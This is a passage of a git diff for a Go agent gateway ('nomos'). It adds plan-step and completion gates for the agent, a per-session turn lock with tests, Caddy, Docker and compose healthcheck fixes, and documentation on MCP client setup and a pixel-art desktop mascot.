// gen-1 steps stay `replaced` — NOT resurrected to running/done.
|
||||
if byTitle["A"].Status != "replaced" || byTitle["A"].Generation != 1 {
|
||||
t.Errorf("A = %+v, want replaced/gen1 (a superseded row must never be touched)", byTitle["A"])
|
||||
}
|
||||
if byTitle["B"].Status != "replaced" || byTitle["B"].Generation != 1 {
|
||||
t.Errorf("B = %+v, want replaced/gen1", byTitle["B"])
|
||||
}
|
||||
// gen-2 seq=1 advanced; seq=2 untouched.
|
||||
if byTitle["C"].Status != "done" || byTitle["C"].Generation != 2 || byTitle["C"].Seq != 1 {
|
||||
t.Errorf("C = %+v, want done/gen2/seq1 (the 1-based update must address the current generation)", byTitle["C"])
|
||||
}
|
||||
if byTitle["D"].Status != "pending" || byTitle["D"].Seq != 2 {
|
||||
t.Errorf("D = %+v, want pending/seq2", byTitle["D"])
|
||||
}
|
||||
|
||||
// Out-of-range seq must be refused (no current-gen step there).
|
||||
if err := s.updatePlanStep(ctx, sess.ID, 99, "running", "", ""); !errors.Is(err, errPlanStepNotFound) {
|
||||
t.Fatalf("updatePlanStep(seq=99) err = %v, want errPlanStepNotFound", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCompleteTask_AutoCloseEmitsEvents is the P1.1 regression proof:
|
||||
// completeTask's bulk auto-close of in-flight steps must emit one
|
||||
// plan.step.finished event per closed step (so the live panel converges
|
||||
// instead of freezing on "running" after the task completes) and must stamp
|
||||
// started_at so no closed step is left un-timestamped (P0.1 fix 5).
|
||||
func TestCompleteTask_AutoCloseEmitsEvents(t *testing.T) {
|
||||
s := newTestStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
sess, err := s.createSession(ctx, "auto-close events test")
|
||||
if err != nil {
|
||||
t.Fatalf("createSession: %v", err)
|
||||
}
|
||||
if _, err := s.proposePlan(ctx, sess.ID, []planStepInput{{Title: "A"}, {Title: "B"}}); err != nil {
|
||||
t.Fatalf("proposePlan: %v", err)
|
||||
}
|
||||
// A is running, B still pending at completion time.
|
||||
if err := s.updatePlanStep(ctx, sess.ID, 1, "running", "", ""); err != nil {
|
||||
t.Fatalf("updatePlanStep(1, running): %v", err)
|
||||
}
|
||||
if err := s.completeTask(ctx, sess.ID, "success", "done"); err != nil {
|
||||
t.Fatalf("completeTask: %v", err)
|
||||
}
|
||||
|
||||
// Every auto-closed step should now carry both a started_at and a
|
||||
// finished_at (no NULL-started `done` step).
|
||||
steps, err := s.getPlanSteps(ctx, sess.ID, true)
|
||||
if err != nil {
|
||||
t.Fatalf("getPlanSteps: %v", err)
|
||||
}
|
||||
for _, st := range steps {
|
||||
if st.Status == "done" && st.StartedAt == nil {
|
||||
t.Errorf("step %q done but started_at is NULL (P0.1 fix 5: stamp it)", st.Title)
|
||||
}
|
||||
}
|
||||
|
||||
// Exactly two plan.step.finished events — one per closed step (A and B).
|
||||
var finished int
|
||||
if err := s.pool.QueryRow(ctx,
|
||||
`SELECT COUNT(*) FROM events WHERE type = 'plan.step.finished' AND correlation_id = $1`,
|
||||
sess.ID).Scan(&finished); err != nil {
|
||||
t.Fatalf("count events: %v", err)
|
||||
}
|
||||
if finished != 2 {
|
||||
t.Fatalf("plan.step.finished events = %d, want 2 (one per auto-closed step)", finished)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -265,7 +397,7 @@ func TestHadDiscoveryAndWriteback(t *testing.T) {
|
||||
|
||||
// A `run` call (discovery) — should set hadDiscovery, not hadEntityWriteback.
|
||||
agentID := uuid.New()
|
||||
s.logActivity(ctx, agentID, sess.ID, "run", nil, "", "uptime output", 100, true, "corr-1")
|
||||
s.logActivity(ctx, agentID, sess.ID, "run", nil, "", "uptime output", 100, true, "corr-1", 0)
|
||||
if !s.hadDiscovery(ctx, sess.ID) {
|
||||
t.Fatal("hadDiscovery = false after a successful run call, want true")
|
||||
}
|
||||
@@ -278,7 +410,7 @@ func TestHadDiscoveryAndWriteback(t *testing.T) {
|
||||
if err != nil {
|
||||
t.Fatalf("createSession: %v", err)
|
||||
}
|
||||
s.logActivity(ctx, agentID, sess2.ID, "run", nil, "", "ssh timeout", 100, false, "corr-2")
|
||||
s.logActivity(ctx, agentID, sess2.ID, "run", nil, "", "ssh timeout", 100, false, "corr-2", 0)
|
||||
if s.hadDiscovery(ctx, sess2.ID) {
|
||||
t.Fatal("hadDiscovery = true after a failed run call, want false (no facts learned)")
|
||||
}
|
||||
@@ -288,7 +420,7 @@ func TestHadDiscoveryAndWriteback(t *testing.T) {
|
||||
if err != nil {
|
||||
t.Fatalf("createSession: %v", err)
|
||||
}
|
||||
s.logActivity(ctx, agentID, sess3.ID, "get_entity", nil, "", "entity row", 10, true, "corr-3")
|
||||
s.logActivity(ctx, agentID, sess3.ID, "get_entity", nil, "", "entity row", 10, true, "corr-3", 0)
|
||||
if s.hadDiscovery(ctx, sess3.ID) {
|
||||
t.Fatal("hadDiscovery = true after get_entity, want false (DB lookups are not discovery)")
|
||||
}
|
||||
@@ -298,12 +430,12 @@ func TestHadDiscoveryAndWriteback(t *testing.T) {
|
||||
if err != nil {
|
||||
t.Fatalf("createSession: %v", err)
|
||||
}
|
||||
s.logActivity(ctx, agentID, sess4.ID, "update_entity_attributes", nil, "", "ok", 10, true, "corr-4")
|
||||
s.logActivity(ctx, agentID, sess4.ID, "update_entity_attributes", nil, "", "ok", 10, true, "corr-4", 0)
|
||||
if !s.hadEntityWriteback(ctx, sess4.ID) {
|
||||
t.Fatal("hadEntityWriteback = false after update_entity_attributes, want true")
|
||||
}
|
||||
// And the discovery+writeback combination (the conv3 scenario).
|
||||
s.logActivity(ctx, agentID, sess4.ID, "run", nil, "", "apt-get update output", 100, true, "corr-5")
|
||||
s.logActivity(ctx, agentID, sess4.ID, "run", nil, "", "apt-get update output", 100, true, "corr-5", 0)
|
||||
if !s.hadDiscovery(ctx, sess4.ID) {
|
||||
t.Fatal("hadDiscovery = false after run+writeback, want true")
|
||||
}
|
||||
|
||||
@@ -5,7 +5,9 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Task tools are nomos-LOCAL, not MCP tools. They are session-scoped, and the
|
||||
@@ -185,7 +187,38 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
|
||||
// what the SOUL.md "approve the plan, not each step" model actually
|
||||
// describes. set_goal records the goal + flips status to executing
|
||||
// and nothing more.
|
||||
return "Goal set: " + goal + ". NEXT: pre-plan with read-only tools (search_knowledge, get_entity, list_lxcs, get_relations), then propose_plan (mandatory — even read-only tasks need a one-step plan; the run handler refuses without one). After propose_plan: if all steps are read-only, execute immediately (no approval needed). If any step is config_mutation/destructive, stop and wait for operator approval.", true
|
||||
response := "Goal set: " + goal + ". NEXT: pre-plan with read-only tools (search_knowledge, get_entity, list_lxcs, get_relations), then propose_plan (mandatory — even read-only tasks need a one-step plan; the run handler refuses without one). After propose_plan: if all steps are read-only, execute immediately (no approval needed). If any step is config_mutation/destructive, stop and wait for operator approval."
|
||||
// P1.3 (2026-07-20): surface prior partial/failed sessions for the
|
||||
// same problem so the agent can pick up the thread instead of
|
||||
// rediscovering it. Three rclone sessions (a51e2086, 8acea2e3,
|
||||
// cb8c8a4a) all bounced off the classifier because each new session
|
||||
// started from scratch. The agent gets a hint with the prior
|
||||
// goal + summary; if it looks related, search_knowledge or open
|
||||
// the prior session's transcript (GET /sessions/{id}) before
|
||||
// re-planning. See plans/2026-07-20-session-review-ten-sessions.md.
|
||||
prior, _ := a.store.recentPartialSessions(ctx, sessionID, 24*time.Hour)
|
||||
if len(prior) > 0 {
|
||||
var b strings.Builder
|
||||
b.WriteString("\n\nNOTE — recent unfinished sessions (last 24h, outcome=partial/failed):")
|
||||
for i, p := range prior {
|
||||
if i >= 5 {
|
||||
b.WriteString(fmt.Sprintf("\n ...and %d more", len(prior)-5))
|
||||
break
|
||||
}
|
||||
sum := p.Summary
|
||||
if sum == "" {
|
||||
sum = "(no summary)"
|
||||
}
|
||||
if len(sum) > 200 {
|
||||
sum = sum[:200] + "..."
|
||||
}
|
||||
b.WriteString(fmt.Sprintf("\n - %s (sid %s, outcome=%s): %s",
|
||||
p.Goal, p.ID[:8], p.Outcome, sum))
|
||||
}
|
||||
b.WriteString("\nIf any of these looks like the same problem, search_knowledge for the prior investigation or read it via GET /sessions/{id} before re-planning — don't rediscover what was already learned.")
|
||||
response += b.String()
|
||||
}
|
||||
return response, true
|
||||
|
||||
case "propose_plan":
|
||||
raw, _ := args["steps"].([]any)
|
||||
@@ -213,13 +246,17 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
|
||||
// the seq-order enforcement (5.6) require it to be completed last,
|
||||
// and D.1's complete_task gate enforces the actual calls. Together
|
||||
// they close the loop structurally — neither relies on the agent
|
||||
// reading SOUL.md.
|
||||
// reading SOUL.md. The match is broadened past the literal tool
|
||||
// names so a natural-language step ("Write back: update entity
|
||||
// attributes…") isn't doubled by an auto-appended duplicate (P1.2).
|
||||
hasWritebackStep := false
|
||||
for _, st := range steps {
|
||||
if strings.Contains(st.Title, "update_entity_attributes") ||
|
||||
strings.Contains(st.Title, "create_relationship") ||
|
||||
strings.Contains(st.Detail, "update_entity_attributes") ||
|
||||
strings.Contains(st.Detail, "create_relationship") {
|
||||
t := strings.ToLower(st.Title + " " + st.Detail)
|
||||
if strings.Contains(t, "update_entity_attributes") ||
|
||||
strings.Contains(t, "create_relationship") ||
|
||||
strings.Contains(t, "upsert_knowledge") ||
|
||||
strings.Contains(t, "write back") ||
|
||||
strings.Contains(t, "writeback") {
|
||||
hasWritebackStep = true
|
||||
break
|
||||
}
|
||||
@@ -248,8 +285,19 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
|
||||
// The writeback step is now always present (D.2 auto-appends it if
|
||||
// the agent forgot), so the old advisory nudge is replaced by the
|
||||
// structural gate: D.1 refuses complete_task without the actual
|
||||
// update_entity_attributes/create_relationship calls.
|
||||
result := fmt.Sprintf("Plan set (%d steps)%s. If all steps are read-only, execute now — call update_plan_step(running) + run for each step, no approval needed. If any step is config_mutation/destructive, STOP and wait for operator approval (\"approved\", \"yes\", \"go\", \"proceed\", \"continue\", \"ok\", \"go ahead\"). Do not call propose_plan again.", len(persisted), appendedNote)
|
||||
// update_entity_attributes/create_relationship calls. Enumerate the
|
||||
// step seqs so the model knows exactly which numbers to address with
|
||||
// update_plan_step (seq is 1-based within this plan — the addressing
|
||||
// key, not a global counter).
|
||||
var seqs strings.Builder
|
||||
for i, p := range persisted {
|
||||
if i > 0 {
|
||||
seqs.WriteString("; ")
|
||||
}
|
||||
title := fmt.Sprint(p["title"])
|
||||
fmt.Fprintf(&seqs, "%v=%s", p["seq"], title)
|
||||
}
|
||||
result := fmt.Sprintf("Plan set (%d steps): %s.%s Address them with update_plan_step(seq=N). If all steps are read-only, execute now — call update_plan_step(running) + run for each step, no approval needed. If any step is config_mutation/destructive, STOP and wait for operator approval (\"approved\", \"yes\", \"go\", \"proceed\", \"continue\", \"ok\", \"go ahead\"). Do not call propose_plan again.", len(persisted), seqs.String(), appendedNote)
|
||||
return result, true
|
||||
|
||||
case "update_plan_step":
|
||||
@@ -259,7 +307,17 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
|
||||
if seq <= 0 || status == "" {
|
||||
return "error: update_plan_step needs seq (>=1) and status", true
|
||||
}
|
||||
if err := a.store.updatePlanStep(ctx, sessionID, seq, status, execID); err != nil {
|
||||
reason, _ := args["replaced_reason"].(string)
|
||||
if err := a.store.updatePlanStep(ctx, sessionID, seq, status, execID, reason); err != nil {
|
||||
if errors.Is(err, errPlanStepNotFound) {
|
||||
// The seq doesn't address a step in the CURRENT plan — most
|
||||
// often a stale 1-based number the model carried across a
|
||||
// re-plan, or an out-of-range seq. seq is generation-relative
|
||||
// (1..N within the latest propose_plan), so a superseded
|
||||
// generation's row is never touched (P0.1 fix 3). Direct the
|
||||
// model instead of silently no-op'ing.
|
||||
return fmt.Sprintf("Step %d is not in the current plan. seq is 1-based within your latest propose_plan (a re-plan resets it to 1..N, so an old step number no longer applies). The plan was not changed. Re-address with the correct 1-based seq, or if you've lost track, re-read the plan.", seq), true
|
||||
}
|
||||
return fmt.Sprintf("error updating step %d: %v", seq, err), true
|
||||
}
|
||||
return fmt.Sprintf("Step %d → %s. (Advance with update_plan_step + run; do not re-propose.)", seq, status), true
|
||||
@@ -317,6 +375,18 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
|
||||
if outcome == "success" && a.store.hadDiscovery(ctx, sessionID) && !a.store.hadEntityWriteback(ctx, sessionID) {
|
||||
return "Refused: this session ran `run` against live targets (discovery) but did not call update_entity_attributes or create_relationship to persist what you learned. The knowledge graph will drift if you complete without writeback. Call update_entity_attributes for each entity you ran against (versions, states, counts, timestamps), and create_relationship for any edge you discovered, then call complete_task again. Outcome is held at 'executing' until you do.", true
|
||||
}
|
||||
// D.2: refuse success when the goal mentions a reachability/uptime
|
||||
// check but no verification was done. The agent can't claim "X is
|
||||
// reachable" based on a shell command alone — the proxy (Caddy) can
|
||||
// return 200 for a terminal page (ttyd) or fallback while the actual
|
||||
// dashboard is still down. Must call ping_service or run a successful
|
||||
// curl before claiming success.
|
||||
if outcome == "success" && a.store.hadDiscovery(ctx, sessionID) {
|
||||
goal := a.store.sessionGoal(ctx, sessionID)
|
||||
if mentionsReachability(goal) && !a.store.hadRecentVerification(ctx, sessionID) {
|
||||
return "Refused: the goal involves a reachability or uptime check (\"make X reachable\", \"get X up\", etc.), but no ping_service call or successful curl/HTTP request against the target was detected. Caddy can return 200 for a terminal or fallback page while the actual service is still down — you must verify the service itself, not just the proxy. Call ping_service(target) or run a curl against the actual service URL, then call complete_task again. Outcome held until verified.", true
|
||||
}
|
||||
}
|
||||
if err := a.store.completeTask(ctx, sessionID, outcome, summary); err != nil {
|
||||
if errors.Is(err, errTaskAlreadyComplete) {
|
||||
return "Task is already complete. Do not call complete_task again. If the operator pointed out a UI/sidebar inconsistency, fix it with update_plan_step (reconcile step states) or summarize the panel in your reply — do not re-execute the work.", true
|
||||
@@ -333,6 +403,28 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
|
||||
}
|
||||
}
|
||||
|
||||
// reachabilityPatterns matches goal text that involves making something
|
||||
// reachable/accessible/working. Used by complete_task to surface a soft
|
||||
// warning when the session goal was about reachability but no verification
|
||||
// occurred before marking success.
|
||||
var reachabilityPatterns = []*regexp.Regexp{
|
||||
regexp.MustCompile(`(?i)https?://[^\s]+`),
|
||||
regexp.MustCompile(`(?i)\.hubris\.net\w+`),
|
||||
regexp.MustCompile(`(?i)(un)?reachable`),
|
||||
regexp.MustCompile(`(?i)(not?\s+)?(accessible|reachable|responding|resolving)`),
|
||||
regexp.MustCompile(`(?i)diagnose\s+why`),
|
||||
regexp.MustCompile(`(?i)(fix|restore|bring\s+back).*(accessible|reachable|online)`),
|
||||
}
|
||||
|
||||
func mentionsReachability(goal string) bool {
|
||||
for _, p := range reachabilityPatterns {
|
||||
if p.MatchString(goal) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// autoCompleteTrivialTask is the case-1 fix from
|
||||
// plans/2026-07-11-task-completion-safety-net.md: a session that never
|
||||
// called set_goal never framed itself as a structured task, so a turn that
|
||||
|
||||
90
cmd/nomos/turngate.go
Normal file
90
cmd/nomos/turngate.go
Normal file
@@ -0,0 +1,90 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// turnGate enforces at most one in-flight agent turn per session.
|
||||
//
|
||||
// Why this exists (plan 2026-08-03, F1): handleChat runs a turn in the HTTP
|
||||
// request goroutine, and every "resume" path (the empty-message reconnect,
|
||||
// the auto-continuation worker, the idle sweep, answer-question, the /resume
|
||||
// endpoint) launches ANOTHER goroutine running a full turn. Nothing prevented
|
||||
// two turns for the SAME session at once, so a network blip that triggered a
|
||||
// reconnect would spawn a duplicate resumeSession while the original turn was
|
||||
// still alive — their tool calls interleaved on the wire and in the persisted
|
||||
// transcript, which is the root cause behind the "parallel/nesting/sequence
|
||||
// is off" and "task didn't end / flaky" reports.
|
||||
//
|
||||
// Model: one permit (buffered-1 channel seeded with a single token) per
|
||||
// session id. Acquiring consumes the token; releasing puts it back.
|
||||
// - Background/best-effort callers (resumeSession and everything it backs)
|
||||
// use a non-blocking acquire and SKIP when busy — a duplicate nudge while a
|
||||
// turn is already running adds nothing, and the continuation/idle tickers
|
||||
// will retry on their own.
|
||||
// - The live chat path (an operator message) waits briefly for a finishing
|
||||
// background turn, then bails with an actionable error if still busy — see
|
||||
// handleChat.
|
||||
//
|
||||
// The permits map grows one entry per session id seen. For this single-agent
|
||||
// homelab process that set is small and bounded by real sessions; cleanup is
|
||||
// intentionally omitted (a sweep would race with acquire/release and the
|
||||
// memory is negligible).
|
||||
type turnGate struct {
|
||||
mu sync.Mutex
|
||||
permits map[string]chan struct{}
|
||||
}
|
||||
|
||||
func newTurnGate() *turnGate {
|
||||
return &turnGate{permits: make(map[string]chan struct{})}
|
||||
}
|
||||
|
||||
// permit returns the single token-channel for sessionID, creating and seeding
|
||||
// it on first use. Creation is guarded so two concurrent first-callers for the
|
||||
// same id share one channel.
|
||||
func (g *turnGate) permit(sessionID string) chan struct{} {
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
ch, ok := g.permits[sessionID]
|
||||
if !ok {
|
||||
ch = make(chan struct{}, 1)
|
||||
ch <- struct{}{}
|
||||
g.permits[sessionID] = ch
|
||||
}
|
||||
return ch
|
||||
}
|
||||
|
||||
// acquire takes the session's permit. With wait <= 0 it is non-blocking
|
||||
// (returns false immediately if a turn is active). With wait > 0 it blocks up
|
||||
// to wait for the permit, returning false on timeout. Every true return MUST
|
||||
// be paired with exactly one release.
|
||||
func (g *turnGate) acquire(sessionID string, wait time.Duration) bool {
|
||||
ch := g.permit(sessionID)
|
||||
if wait <= 0 {
|
||||
select {
|
||||
case <-ch:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
t := time.NewTimer(wait)
|
||||
defer t.Stop()
|
||||
select {
|
||||
case <-ch:
|
||||
return true
|
||||
case <-t.C:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// release returns the session's permit. Idempotent: a release with no matching
|
||||
// acquire (or a double release) is a no-op rather than a blocking send.
|
||||
func (g *turnGate) release(sessionID string) {
|
||||
ch := g.permit(sessionID)
|
||||
select {
|
||||
case ch <- struct{}{}:
|
||||
default:
|
||||
}
|
||||
}
|
||||
114
cmd/nomos/turngate_test.go
Normal file
114
cmd/nomos/turngate_test.go
Normal file
@@ -0,0 +1,114 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestTurnGate_NonBlockingSkipsWhenBusy(t *testing.T) {
|
||||
g := newTurnGate()
|
||||
if !g.acquire("s1", 0) {
|
||||
t.Fatal("first non-blocking acquire should succeed on a free session")
|
||||
}
|
||||
// A second non-blocking acquire (a background resume) must skip, not queue.
|
||||
if g.acquire("s1", 0) {
|
||||
t.Fatal("second non-blocking acquire should fail while a turn is active")
|
||||
}
|
||||
// A different session is independent.
|
||||
if !g.acquire("s2", 0) {
|
||||
t.Fatal("acquire on a different session should succeed")
|
||||
}
|
||||
g.release("s2")
|
||||
g.release("s1")
|
||||
// After release, the session is free again.
|
||||
if !g.acquire("s1", 0) {
|
||||
t.Fatal("acquire should succeed again after release")
|
||||
}
|
||||
g.release("s1")
|
||||
}
|
||||
|
||||
func TestTurnGate_BlockingAcquireWaitsForRelease(t *testing.T) {
|
||||
g := newTurnGate()
|
||||
if !g.acquire("s1", 0) {
|
||||
t.Fatal("first acquire should succeed")
|
||||
}
|
||||
|
||||
got := make(chan bool, 1)
|
||||
go func() { got <- g.acquire("s1", 2*time.Second) }()
|
||||
|
||||
select {
|
||||
case <-got:
|
||||
t.Fatal("blocking acquire should wait, not return before release")
|
||||
case <-time.After(50 * time.Millisecond):
|
||||
// expected: still waiting
|
||||
}
|
||||
|
||||
g.release("s1")
|
||||
select {
|
||||
case ok := <-got:
|
||||
if !ok {
|
||||
t.Fatal("blocking acquire should succeed after release")
|
||||
}
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("blocking acquire did not return after release")
|
||||
}
|
||||
g.release("s1")
|
||||
}
|
||||
|
||||
func TestTurnGate_BlockingAcquireTimesOut(t *testing.T) {
|
||||
g := newTurnGate()
|
||||
g.acquire("s1", 0) // hold the permit
|
||||
|
||||
start := time.Now()
|
||||
if g.acquire("s1", 60*time.Millisecond) {
|
||||
t.Fatal("acquire should time out while permit is held")
|
||||
}
|
||||
if elapsed := time.Since(start); elapsed < 50*time.Millisecond {
|
||||
t.Fatalf("acquire returned too fast (%v); expected to wait ~60ms", elapsed)
|
||||
}
|
||||
g.release("s1")
|
||||
}
|
||||
|
||||
// TestTurnGate_SingleFlightConcurrent is the core F1 guarantee: many concurrent
|
||||
// background acquirers on the SAME session, exactly one runs at a time. This is
|
||||
// the property that prevents two turns interleaving tool calls.
|
||||
func TestTurnGate_SingleFlightConcurrent(t *testing.T) {
|
||||
g := newTurnGate()
|
||||
const n = 50
|
||||
var inFlight, maxInFlight int64
|
||||
var runs int64
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(n)
|
||||
start := make(chan struct{})
|
||||
for i := 0; i < n; i++ {
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
<-start
|
||||
if !g.acquire("shared", 0) { // background-style: skip if busy
|
||||
return
|
||||
}
|
||||
defer g.release("shared")
|
||||
cur := atomic.AddInt64(&inFlight, 1)
|
||||
for {
|
||||
m := atomic.LoadInt64(&maxInFlight)
|
||||
if cur <= m || atomic.CompareAndSwapInt64(&maxInFlight, m, cur) {
|
||||
break
|
||||
}
|
||||
}
|
||||
atomic.AddInt64(&runs, 1)
|
||||
time.Sleep(2 * time.Millisecond)
|
||||
atomic.AddInt64(&inFlight, -1)
|
||||
}()
|
||||
}
|
||||
close(start)
|
||||
wg.Wait()
|
||||
|
||||
if maxInFlight != 1 {
|
||||
t.Fatalf("max in-flight turns = %d, want 1 (turns must not overlap)", maxInFlight)
|
||||
}
|
||||
if runs == 0 {
|
||||
t.Fatal("expected at least one turn to run")
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,27 @@
|
||||
:80 {
|
||||
root * /srv
|
||||
file_server
|
||||
try_files {path} /index.html
|
||||
|
||||
# /wails/runtime.js is injected by the Wails desktop wrapper, which serves
|
||||
# the same dist/ from its own asset handler. In a browser it does not
|
||||
# exist, and the SPA fallback below answered it with index.html — so the
|
||||
# browser parsed "<!doctype html>" as JavaScript and threw
|
||||
# "SyntaxError: expected expression, got '<'" on every page load.
|
||||
# Return a real 404 instead: the tag fails quietly, and the desktop app is
|
||||
# unaffected because it never reaches this server.
|
||||
handle /wails/* {
|
||||
error 404
|
||||
}
|
||||
|
||||
# Same reasoning for any other asset: a missing .js/.css/.map answered with
|
||||
# HTML is always a confusing parse error rather than an honest 404. Only
|
||||
# real routes should fall through to the SPA.
|
||||
@asset path_regexp \.(js|mjs|css|map|json|png|jpg|svg|ico|woff2?)$
|
||||
handle @asset {
|
||||
file_server
|
||||
}
|
||||
|
||||
handle {
|
||||
file_server
|
||||
try_files {path} /index.html
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,7 +8,8 @@ FROM node:22-alpine AS builder
|
||||
|
||||
WORKDIR /build/web
|
||||
COPY web/package.json web/package-lock.json ./
|
||||
RUN npm ci
|
||||
COPY web/vendor /build/vendor
|
||||
RUN npm install --no-audit --no-fund
|
||||
COPY VERSION ./
|
||||
COPY web/ ./
|
||||
RUN npm run build
|
||||
|
||||
@@ -83,6 +83,18 @@ services:
|
||||
command: ["api"]
|
||||
stop_signal: SIGTERM
|
||||
stop_grace_period: 30s
|
||||
# Exists so nomos can wait for the API to actually answer rather than just
|
||||
# for its container to exist — see nomos's depends_on below. wget is
|
||||
# BusyBox's, already in the alpine runtime image, so this adds no
|
||||
# dependency. /healthz pings the DB, so "healthy" means genuinely ready.
|
||||
healthcheck:
|
||||
test: ["CMD", "wget", "-q", "-O", "-", "http://127.0.0.1:8090/healthz"]
|
||||
interval: 5s
|
||||
timeout: 3s
|
||||
retries: 10
|
||||
# Migrations and seed run before this container, but the first bind can
|
||||
# still take a moment; failures inside the start period don't count.
|
||||
start_period: 10s
|
||||
|
||||
# Scheduler (Phase 3) — observe loop
|
||||
scheduler:
|
||||
@@ -139,7 +151,12 @@ services:
|
||||
profiles: ["full"]
|
||||
depends_on:
|
||||
api:
|
||||
condition: service_started
|
||||
# service_started only waits for the container to exist, so nomos came
|
||||
# up while the API was still binding :8090, failed its MCP initialize,
|
||||
# exited 1, and crash-looped for ~25s on every single deploy. It always
|
||||
# recovered, which is exactly why it went unnoticed. service_healthy
|
||||
# waits for the API to actually answer.
|
||||
condition: service_healthy
|
||||
environment:
|
||||
NOMOS_MCP_URL: http://api:8090/mcp
|
||||
NOMOS_AGENT_SLUG: agent:nomos
|
||||
|
||||
@@ -234,9 +234,33 @@ sequenceDiagram
|
||||
|
||||
---
|
||||
|
||||
**2026-07-08 — renamed to Nomos.** The Hermes agent gateway was renamed to
|
||||
**2026-07-08 — renamed to Nomos.**
|
||||
Nomos (from *oikonomos*, the steward of the oikos) under the
|
||||
[Nomos resident agent plan](../../plans/2026-07-08-nomos-resident-agent.md),
|
||||
|
||||
### Hermes MCP client setup
|
||||
|
||||
To connect a Hermes Agent instance to oikos as a native MCP client, add to
|
||||
`~/.hermes/config.yaml`:
|
||||
|
||||
```yaml
|
||||
mcp_servers:
|
||||
oikos:
|
||||
url: "https://mcp.hubris.network/mcp"
|
||||
headers:
|
||||
Authorization: "Bearer <OIKOS_MCP_BEARER_TOKEN>"
|
||||
timeout: 180
|
||||
```
|
||||
|
||||
Run `/reload-mcp` in-session or restart Hermes. Tools appear as
|
||||
`mcp__oikos__*`.
|
||||
|
||||
**Caveat:** Hermes stores the bearer token in plaintext in `config.yaml` —
|
||||
it does not support `${VAR}` interpolation in MCP server headers. Ensure
|
||||
`security.redact_secrets: true` (default) so the token value is stripped
|
||||
from tool output and logs. File an upstream feature request at
|
||||
https://github.com/NousResearch/hermes-agent/issues for env-var
|
||||
interpolation support.
|
||||
N0 milestone. The gateway binary (`cmd/nomos`), Docker service, DB slug
|
||||
(`agent:nomos`), and all referencing docs were updated. All architectural
|
||||
principles in this ADR remain unchanged.
|
||||
@@ -13,11 +13,16 @@
|
||||
> feature of it — the same relationship [components.md](../mbse/components.md)
|
||||
> has to [README.md](../mbse/README.md), applied recursively.
|
||||
|
||||
**Status of this Model:** the subsystem it describes does not exist in
|
||||
code yet. Every View below is marked **Planned**, not **Verified** —
|
||||
compare to [../mbse/README.md](../mbse/README.md)'s confidence grading,
|
||||
which this document borrows. The corresponding implementation plan is
|
||||
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md).
|
||||
**Status of this Model:** the subsystem it describes is **implemented**
|
||||
in `web/src/lib/mascot/` and `web/public/mascot/` (as of 2026-07-20).
|
||||
Views below are marked **Implemented** where the code matches; a small
|
||||
number of requirements (distinct adult art, a true round radial menu)
|
||||
remain **Planned** as polish items. The corresponding implementation plan
|
||||
is [plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md),
|
||||
which carries a deviation note at the top covering the changes made
|
||||
during implementation (hatch-on-naming, PNG-sheet art, button-column
|
||||
radial menu, 60fps loop), and the physics audit/follow-up is
|
||||
[plans/2026-07-20-mascot-physics-audit.md](../../plans/2026-07-20-mascot-physics-audit.md).
|
||||
|
||||
## Views in this model
|
||||
|
||||
@@ -77,22 +82,23 @@ flowchart TB
|
||||
|
||||
## 2. Requirements
|
||||
|
||||
Traced from the original feature request. All **Planned**.
|
||||
Traced from the original feature request. Status reflects the
|
||||
2026-07-20 implementation; **Planned** items are deferred polish.
|
||||
|
||||
| ID | Statement | Source | Status |
|
||||
|---|---|---|---|
|
||||
| MASC-1 | The mascot SHALL render as pixel-art, drawn from code (string pixel-grids + palette), not binary sprite assets | User request | Planned |
|
||||
| MASC-2 | The mascot SHALL roam the desktop surface autonomously, walking along the ground (surface bottom, above the taskbar) under gravity | User request + design decision | Planned |
|
||||
| MASC-3 | The mascot SHALL be draggable with the mouse; releasing it mid-air SHALL trigger a flutter-fall back to the ground | User request + design decision | Planned |
|
||||
| MASC-4 | Right-clicking the mascot SHALL open a round (Sims-style) interaction menu supporting nested submenus | User request | Planned |
|
||||
| MASC-5 | The mascot SHALL have a tamagotchi lifecycle: egg → chick → adult, with a user-assignable name | User request | Planned |
|
||||
| MASC-6 | The mascot's stage, name, and stats SHALL persist across reloads | User request (implied by "tamagotchi") | Planned |
|
||||
| MASC-7 | The mascot SHALL have idle states (autonomous behavior when untouched) and interactive states (drag, click, menu) | User request | Planned |
|
||||
| MASC-8 | The mascot SHALL react visibly to real application activity: chat streaming, knowledge-graph writes, critical signals | User request ("aware of its environment... feels alive and connected") | Planned |
|
||||
| MASC-9 | Animations, behaviors, menu actions, and reactions SHALL each be defined in a single data-driven registry, so a new one can be added without touching the engine code | User request ("easily expansible") | Planned |
|
||||
| MASC-10 (NFR) | The mascot's game loop SHALL run at ~30fps via `setTimeout`, not `requestAnimationFrame`, matching the repo's existing [`GraphBackground.svelte`](../../web/src/lib/components/GraphBackground.svelte) convention (rAF suspends in some hidden-tab embeddings) | Codebase convention | Planned |
|
||||
